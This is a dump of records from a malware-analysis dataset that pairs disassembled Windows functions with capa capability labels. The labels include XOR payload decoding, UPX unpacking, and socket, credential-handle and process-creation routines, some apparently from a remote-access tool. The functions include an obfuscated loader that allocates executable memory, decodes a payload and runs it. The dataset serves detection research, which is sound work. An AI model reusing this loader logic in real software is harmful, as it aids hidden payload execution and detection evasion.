joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x401c66
pop dword [ebp - 0x1c]
mov eax, 0xba26032f
sub eax, 0xb9e5e6c9
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x191cf107
sub dword [ebp - 0x2c], 0xcacaabbc
mov dword [ebp - 0x28], 0x67800259
add dword [ebp - 0x28], 0xcab349ec
mov dword [ebp - 0x24], 0xc75275f6
add dword [ebp - 0x24], 0x84f9ce38
mov dword [ebp - 0x20], 0xd2a9a49f
add dword [ebp - 0x20], 0x2d565b61
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x101ae6dc
sub dword [ebp - 0x2c], 0x9ba87d86
mov dword [ebp - 0x28], 0x62f5f3e5
sub dword [ebp - 0x28], 0x21899270
mov dword [ebp - 0x24], 0xc0d60cc0
sub dword [ebp - 0x24], 0x5d66a054
mov dword [ebp - 0x20], 0xc715d8e1
sub dword [ebp - 0x20], 0xc715d8e1
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xb86d33f2
sub eax, 0xb82d03c6
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x34be6
push 0
call eax
mov ecx, 0x251e3daa
sub ecx, 0x251dfc9d
mov edx, eax
mov edi, 0x69095b63
add edi, 0x9737149d
add edi, dword [ebp - 0x1c]
mov esi, 0x4a7ef0cf
sub esi, 0xbdf9776d
xor dword [ebp - 0x18], 0xa24a44ad
mov ebx, dword [edi]
xor dword [ebp - 0xc], 0x5844a32d
xor ebx, esi
mov dword [edx], ebx
xor dword [ebp - 4], ecx
add edx, 0x4fc3aa0
add edx, 0xfb03c564
add edi, 0x528be555
add edi, 0xad741aaf
loop 0x401d83
add eax, 0xf707
xor ebx, ebx
add ebx, eax
add eax, 0x8ec6f328
sub eax, 0x8ec6f323
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x10119100
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x101192e4
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa2000]
push edi
jmp 0x1011912a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10119131
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10119120
mov eax, 1
add ebx, ebx
jne 0x10119143
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10119154
jne 0x10119173
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10119173
dec eax
add ebx, ebx
jne 0x10119160
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x10119138
add ebx, ebx
jne 0x1011916f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x101191c5
xor ecx, ecx
sub eax, 3
jb 0x1011918b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x101191fa
sar eax, 1
mov ebp, eax
jmp 0x10119196
add ebx, ebx
jne 0x10119196
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10119164
inc ecx
add ebx, ebx
jne 0x101191a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10119164
add ebx, ebx
jne 0x101191b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x101191a6
jne 0x101191c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x101191a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x101191e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x101191d6
jmp 0x10119126
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x101191e4
add edi, ecx
jmp 0x10119126
pop esi
mov edi, esi
mov ecx, 0x4c0d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10119202
cmp byte [edi], 0x82
jne 0x10119202
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x10119207
lea edi, [esi + 0x111000]
mov eax, dword [edi]
or eax, eax
je 0x10119276
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x119000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11903c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10119234
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x119040]
or eax, eax
je 0x10119270
mov dword [ebx], eax
add ebx, 4
jmp 0x10119251
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x101192a7
cmp al, 0xef
ja 0x1011929a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1011927c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10119289
mov ebp, dword [esi + 0x119044]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x101192db
sub esp, 0xffffff80
jmp 0x10076aed
Function at 0x10007cf9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [0xfd4080]
test eax, eax
je 0x10007d38
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10007d38
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10007d38
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10007d38
cmp dword [ecx + 0x74], 0xe
jbe 0x10007d38
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4012c1
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x47e9c8
call fcn.0047e070
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
call fcn.0042d52f
xor ebx, ebx
lea ecx, [esi + 0xc]
mov dword [ebp - 4], ebx
call fcn.0042d52f
lea ecx, [esi + 0x10]
mov byte [ebp - 4], 1
call fcn.0042d52f
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 2
call fcn.0042d52f
lea ecx, [esi + 0x28]
mov byte [ebp - 4], 3
call fcn.0042d52f
lea ecx, [esi + 0x2c]
mov byte [ebp - 4], 4
call fcn.0042d52f
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 5
call fcn.0042d52f
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 6
call fcn.0042bb84
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x64]
mov byte [ebp - 4], 7
mov byte [ecx], al
mov al, byte [ebp - 0xd]
mov byte [ecx + 1], al
mov byte [ecx + 8], bl
call fcn.00402d5f
or dword [esi + 0x20], 0xffffffff
lea edi, [esi + 0x74]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x4868bc
mov dword [esi + 0x14], 0x1f40
mov byte [esi + 0x18], 1
mov word [esi + 8], bx
mov dword [esi + 0x1c], ebx
mov word [esi + 0x30], bx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x58], ebx
mov dword [esi + 0x60], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4018dd
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
mov esi, ecx
push edi
mov edi, str.S:Ammyy_sourcesmainproxyHttpClient.cpp
cmp dword [esi + 0x20], 0xffffffff
jne 0x40190b
push 0x117
push edi
lea ecx, [ebp - 0x10]
call fcn.004282fa
mov ecx, eax
call fcn.00428406
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x401917
cmp dword [ebp + 0xc], ebx
jg 0x40192c
push 0x118
push edi
lea ecx, [ebp - 0x10]
call fcn.004282fa
mov ecx, eax
call fcn.00428406
mov eax, dword [esi + 0x14]
xor edx, edx
mov ecx, 0x3e8
mov dword [ebp - 0x114], 1
div ecx
lea ecx, [ebp - 8]
push ecx
push ebx
lea ecx, [ebp - 0x114]
push ebx
push ecx
mov dword [ebp - 8], eax
lea eax, [edx + edx*4]
add eax, eax
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x20]
mov dword [ebp - 0x110], eax
inc eax
push eax
call dword [sym.imp.WS2_32.dll_select]
mov edi, eax
cmp edi, ebx
jle 0x40198b
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, ebx
jl 0x4019ad
xor eax, eax
jmp 0x4019b3
jne 0x401983
push dword [esi + 0x14]
push str.CHttpClient::ReadSocket__:_no_data_received_during__u_ms.
push 0x4b39b0
call fcn.0042b4b9
add esp, 0xc
mov dword [esi + 0x1c], 0x274c
xor eax, eax
jmp 0x4019b8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esi + 0x1c], eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40346f
Capabilities:
Get client handle via schannel
Get inbound credentials handle via credssp
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
lea eax, [ebp - 4]
push edi
xor ebx, ebx
push eax
push str.NTLM
mov esi, ecx
mov dword [ebp - 4], ebx
call sub.Secur32.dll_QuerySecurityPackageInfoA
cmp eax, ebx
je 0x40349c
push eax
push str.ERROR_in_CHttpNTLMAuthObject::Prepare__:_QuerySecurityPackageInfo___failed__result__0x_x_
jmp 0x403530
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
cmp eax, 0x80000
mov dword [ebp - 8], eax
jbe 0x4034b4
push eax
push str.ERROR_in_CHttpNTLMAuthObject::Prepare__:_invalid_token_size__size___u_
jmp 0x403530
push 0xa
xor eax, eax
pop ecx
lea edi, [ebp - 0x38]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x3c], 0x200
mov dword [ebp - 0x38], 0x2c
mov dword [ebp - 0x1c], 1
call fcn.0042f61b
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x34], eax
call fcn.0042dfef
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
call fcn.0042f61b
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
call fcn.0042dfef
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 4]
push eax
push ebx
lea eax, [ebp - 0x3c]
push ebx
push eax
mov eax, dword [ebp - 4]
push ebx
push 2
push dword [eax + 0xc]
push ebx
call sub.Secur32.dll_AcquireCredentialsHandleA
push dword [ebp - 4]
mov edi, eax
call sub.Secur32.dll_FreeContextBuffer
cmp edi, ebx
je 0x403541
push edi
push str.ERROR_in_CHttpNTLMAuthObject::Prepare__:_AcquireCredentialsHandle___failed__result__0x_x_
push 0x4b39b0
call fcn.0042b4a1
add esp, 0xc
xor al, al
jmp 0x403549
mov eax, dword [ebp - 8]
mov dword [esi + 0x14], eax
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4064e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x47ed18
call fcn.0047e070
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0xc]
call fcn.0042bb84
and dword [ebp - 4], 0
lea ecx, [esi + 0x24]
call fcn.0042eba0
lea ecx, [esi + 0x28]
mov byte [ebp - 4], 1
call fcn.0042eba0
lea ecx, [esi + 0x2c]
mov byte [ebp - 4], 2
call fcn.0042d52f
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 3
call fcn.0042d52f
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x406538
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x47ed50
call fcn.0047e070
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x30]
mov dword [ebp - 4], 3
call fcn.0042d82b
lea ecx, [esi + 0x2c]
mov byte [ebp - 4], 2
call fcn.0042d82b
lea ecx, [esi + 0x28]
mov byte [ebp - 4], 1
call fcn.0042eea2
and byte [ebp - 4], 0
lea ecx, [esi + 0x24]
call fcn.0042eea2
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0xc]
call fcn.0042bc46
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x406543
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x47ed50
call fcn.0047e070
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x30]
mov dword [ebp - 4], 3
call fcn.0042d82b
lea ecx, [esi + 0x2c]
mov byte [ebp - 4], 2
call fcn.0042d82b
lea ecx, [esi + 0x28]
mov byte [ebp - 4], 1
call fcn.0042eea2
and byte [ebp - 4], 0
lea ecx, [esi + 0x24]
call fcn.0042eea2
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0xc]
call fcn.0042bc46
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40771d
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x47ef6c
call fcn.0047e070
sub esp, 0x23c
push ebx
push esi
mov esi, ecx
xor ebx, ebx
inc ebx
push edi
cmp byte [esi + 8], 0
jne 0x40774a
cmp byte [esi + 5], 0
jne 0x40774a
and dword [0x4b39b0], 0
jmp 0x407750
mov dword [0x4b39b0], ebx
cmp byte [esi + 8], 0
je 0x4077a6
lea eax, [ebp - 0x10]
push eax
call fcn.00408148
and dword [ebp - 4], 0
mov dword [esp], 0x4a5514
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0042f186
add esp, 0xc
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.0042eea2
lea ecx, [ebp - 0x14]
call fcn.0042f61b
mov edi, 0x4b39b0
push eax
mov ecx, edi
call fcn.0042b244
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0042eea2
jmp 0x4077b5
push dword [esi + 0x48]
mov edi, 0x4b39b0
mov ecx, edi
call fcn.0042b26c
mov ecx, esi
call fcn.00406a5e
mov ecx, esi
call fcn.00407bbb
cmp dword [0x4b39b0], 0
push ebx
sete al
mov byte [0x4b3c2c], al
call fcn.00428437
pop ecx
mov ebx, 0x4a51dc
push ebx
mov ecx, 0x4b3c28
call fcn.0042d9f5
push ebx
mov ecx, 0x4b32b4
call fcn.0042d9f5
push 0x4a5510
mov ecx, 0x4b32ac
call fcn.0042d9f5
call fcn.00423ec7
push eax
mov ecx, 0x4b32b0
call fcn.0042d9f5
push 0
push 0x100
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
lea eax, [ebp - 0xb8]
mov dword [ebp - 0xb8], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
movzx eax, word [ebp - 0xb4]
movzx ecx, word [ebp - 0xb0]
shl eax, 0x10
or eax, ecx
push eax
push str.OS_version__X
push edi
mov dword [esi + 0x38], eax
call fcn.0042b4b9
add esp, 0xc
mov ecx, esi
call fcn.0040760f
cmp byte [esi + 8], 0
jne 0x40794e
lea eax, [ebp - 0x248]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4078a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x24]
push str.Error_d_WSAStartup__
push eax
call fcn.0042a481
add esp, 0xc
lea eax, [ebp - 0x24]
push 0x4924b4
push eax
call sub.MSVCRT.dll__CxxThrowException
mov edi, 0x4b3890
mov ecx, edi
call fcn.004233dc
cmp dword [esi + 0x1c], 0
jbe 0x40794e
add esi, 0x10
mov ecx, esi
call fcn.0042bf17
mov word [0x4b3c42], ax
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call fcn.0042bfd4
push eax
mov ecx, 0x4b3c3c
mov dword [ebp - 4], 3
call fcn.0042d960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042d82b
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
call fcn.0042bfd4
push eax
mov ecx, 0x4b3c34
mov dword [ebp - 4], 4
call fcn.0042d960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042d82b
lea eax, [ebp - 0x18]
mov ecx, esi
push eax
call fcn.0042bfd4
push eax
mov ecx, 0x4b3c30
mov dword [ebp - 4], 5
call fcn.0042d960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.0042d82b
mov ecx, edi
call fcn.00423a66
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4079c2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push esi
lea eax, [ebp - 0x60]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.0042f61b
mov edi, dword [ebp + 8]
xor esi, esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
mov ecx, edi
call fcn.0042f3a1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x407a2a
cmp dword [ebp - 0x1c], esi
je 0x407a2a
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [ebp + 0x10]
cmp eax, esi
jne 0x407a23
push dword [ebp - 0x1c]
call edi
pop edi
pop esi
leave
ret
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
jmp 0x407a1f
push dword [ebp - 0x1c]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xc]
push str.Error_d_while_running__s__X
push eax
call fcn.0042a481
add esp, 0x14
lea eax, [ebp - 0xc]
push 0x4924b4
push eax
call sub.MSVCRT.dll__CxxThrowException
Function at 0x407c97
Capabilities:
Create directory
Set current directory

Disassembly:
mov eax, 0x47eff4
call fcn.0047e070
sub esp, 0x2c
cmp byte [0x4b319c], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ecx
je 0x407d05
lea eax, [ebp - 0x1c]
push 0
push eax
call fcn.0040c107
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040b53c
add esp, 0x10
mov ecx, dword [ebp - 0x18]
push eax
mov byte [ebp - 4], 1
call fcn.0042efe3
and byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.0042eea2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0042eea2
push dword [ebp - 0x18]
call fcn.0040b92a
pop ecx
jmp 0x407dee
xor esi, esi
push 2
inc esi
pop ebx
cmp esi, ebx
jg 0x407dee
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.0040bdb4
add esp, 4
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 4], ebx
call fcn.0042ebac
call fcn.0040b62b
test al, al
pop ecx
jne 0x407e18
push 0
lea ecx, [ebp - 0x14]
call fcn.0042f61b
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x407d9c
lea ecx, [ebp - 0x14]
call fcn.0042f61b
push eax
lea ecx, [ebp - 0x1c]
call fcn.0042d8e3
mov edi, eax
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, edi
call fcn.0042f61b
push eax
push 0x4a560c
push 0x4b39b0
call fcn.0042b4a1
add esp, 0x10
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call fcn.0042d82b
jmp 0x407e2b
cmp esi, 1
jne 0x407dd3
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call fcn.0042f61b
push eax
call fcn.0040bbc2
pop ecx
jmp 0x407dd3
mov dword [ebp - 4], ebx
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
call fcn.0042efe3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0042eea2
mov ecx, dword [ebp - 0x18]
call fcn.0042f60b
test eax, eax
je 0x407e3d
lea eax, [ebp - 0x2c]
push str.Cant_find_any_writtable_folder
push eax
call fcn.0042a481
pop ecx
lea eax, [ebp - 0x2c]
pop ecx
push 0x4924b4
push eax
call sub.MSVCRT.dll__CxxThrowException
cmp esi, 1
jne 0x407dd6
lea eax, [ebp - 0x14]
push eax
call fcn.0040b7ee
test al, al
pop ecx
jne 0x407dd6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0042eea2
inc esi
jmp 0x407d0b
mov ecx, dword [ebp - 0x18]
call fcn.0042f61b
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x407e98
mov ecx, dword [ebp - 0x18]
call fcn.0042f61b
push eax
lea ecx, [ebp - 0x20]
call fcn.0042d8e3
mov esi, eax
mov dword [ebp - 4], 6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0042f61b
push eax
lea eax, [ebp - 0x38]
push str.SetCurrentDirectoryW__s__error_u
push eax
call fcn.0042a481
add esp, 0x10
lea eax, [ebp - 0x38]
push 0x4924b4
push eax
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x40872a
Capabilities:
Identify system language via api

Disassembly:
mov eax, 0x47f14c
call fcn.0047e070
push ecx
push esi
push edi
lea ecx, [ebp - 0x10]
call fcn.0042d52f
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx esi, ax
call fcn.004086d4
mov edi, eax
call fcn.00408706
push eax
push edi
push esi
lea eax, [ebp - 0x10]
push str._u._u._d
push eax
call fcn.0042ea97
mov ecx, dword [ebp + 8]
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
call fcn.0042be20
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042d82b
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40a7d2
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x47f5e4
call fcn.0047e070
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, edi
call fcn.0042bf03
mov byte [esi + 0xc], al
lea eax, [ebp + 8]
push eax
mov ecx, edi
call fcn.0042bfd4
and dword [ebp - 4], 0
push eax
lea ecx, [esi + 0x10]
call fcn.0042d960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0042d82b
mov ecx, edi
call fcn.0042bf2c
mov ecx, edi
mov dword [ebp + 8], eax
call fcn.0042bf17
push eax
push dword [ebp + 8]
call fcn.0042c514
pop ecx
mov dword [esi + 0x18], eax
pop ecx
mov dword [esi + 0x1c], edx
mov ecx, edi
call fcn.0042bf2c
mov ecx, edi
call fcn.0042bf2c
mov ecx, edi
mov dword [esi + 0x20], eax
call fcn.0042bf2c
mov dword [esi + 0x24], eax
lea eax, [ebp + 8]
push eax
mov ecx, edi
call fcn.0042bfd4
push eax
lea ecx, [esi + 0x28]
mov dword [ebp - 4], 1
call fcn.0042d960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0042d82b
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.0042bfd4
push eax
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], 2
call fcn.0042d960
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0042d82b
mov ecx, edi
call fcn.0042bf40
and dword [esi + 0x3c], 0
mov ecx, edi
mov dword [esi + 0x38], eax
call fcn.0042bf40
and dword [esi + 0x34], 0
mov ecx, edi
mov dword [esi + 0x30], eax
call fcn.0042bf40
mov ecx, dword [ebp - 0xc]
and dword [esi + 0x44], 0
mov dword [esi + 0x40], eax
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x40b6cc
Capabilities:
Create directory

Disassembly:
mov eax, 0x47f79c
call fcn.0047e070
sub esp, 0x10
push esi
push ecx
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
call fcn.0042ebac
call fcn.0040b62b
test al, al
pop ecx
jne 0x40b74c
mov ecx, dword [ebp + 8]
push 0
call fcn.0042f61b
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40b74c
mov ecx, dword [ebp + 8]
call fcn.0042f61b
push eax
lea ecx, [ebp + 8]
call fcn.0042d8e3
mov esi, eax
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0042f61b
push eax
lea eax, [ebp - 0x1c]
push str.cant_create_folder__s_error__d
push eax
call fcn.0042a481
add esp, 0x10
lea eax, [ebp - 0x1c]
push 0x4924b4
push eax
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x40b9d0
Capabilities:
Delete file

Disassembly:
mov eax, 0x47f850
call fcn.0047e070
sub esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40ba2b
push esi
lea ecx, [ebp + 8]
push dword [ebp + 8]
call fcn.0042d8e3
mov esi, eax
and dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0042f61b
push eax
lea eax, [ebp - 0x18]
push str.Cant_delete_file__s_error_d
push eax
call fcn.0042a481
add esp, 0x10
lea eax, [ebp - 0x18]
push 0x4924b4
push eax
call sub.MSVCRT.dll__CxxThrowException
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret